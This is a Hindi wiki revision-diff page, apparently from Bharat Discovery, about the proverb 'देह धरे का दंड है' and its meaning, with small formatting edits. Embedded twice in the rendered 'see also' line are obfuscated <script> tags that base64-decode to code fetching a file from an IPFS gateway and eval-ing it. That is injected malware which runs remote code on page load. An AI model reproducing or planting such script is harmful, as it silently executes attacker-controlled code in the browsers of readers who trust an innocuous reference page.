एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "२"।

"देह धरे का दंड" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
('{{पुनरीक्षण}} *यह लोकोक्ति ए...' के साथ नया पन्ना बनाया)
 
 
पंक्ति 1: पंक्ति 1:
{{पुनरीक्षण}}
 
 
*यह [[कहावत लोकोक्ति मुहावरे|लोकोक्ति]] एक प्रचलित कहावत है।   
 
*यह [[कहावत लोकोक्ति मुहावरे|लोकोक्ति]] एक प्रचलित कहावत है।   
<poem>देह धरे का दंड है, हर काहू को होय।
+
<blockquote><poem>देह धरे का दंड है, हर काहू को होय।
ज्ञानी काटे ज्ञान से, मूरख काटे रोय।।</poem>  
+
ज्ञानी काटे ज्ञान से, मूरख काटे रोय।।</poem></blockquote>  
*अर्थ- जीवन में शरीर के साथ कष्ट तो लगा रहता है, बुद्धिमान व्यक्ति युक्ति से और बेवकूफ रो रोकर जीवन जीता है ।  
+
*अर्थ- जीवन में [[मानव शरीर|शरीर]] के साथ कष्ट तो लगा रहता है, बुद्धिमान व्यक्ति युक्ति से और बेवकूफ रो-रोकर जीवन जीता है ।  
{{प्रचार}}
 
  
 +
{{seealso|कहावत लोकोक्ति मुहावरे}}
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>

08:30, 14 दिसम्बर 2011 के समय का अवतरण

देह धरे का दंड है, हर काहू को होय।
ज्ञानी काटे ज्ञान से, मूरख काटे रोय।।

  • अर्थ- जीवन में शरीर के साथ कष्ट तो लगा रहता है, बुद्धिमान व्यक्ति युक्ति से और बेवकूफ रो-रोकर जीवन जीता है ।

इन्हें भी देखें<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: कहावत लोकोक्ति मुहावरे<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ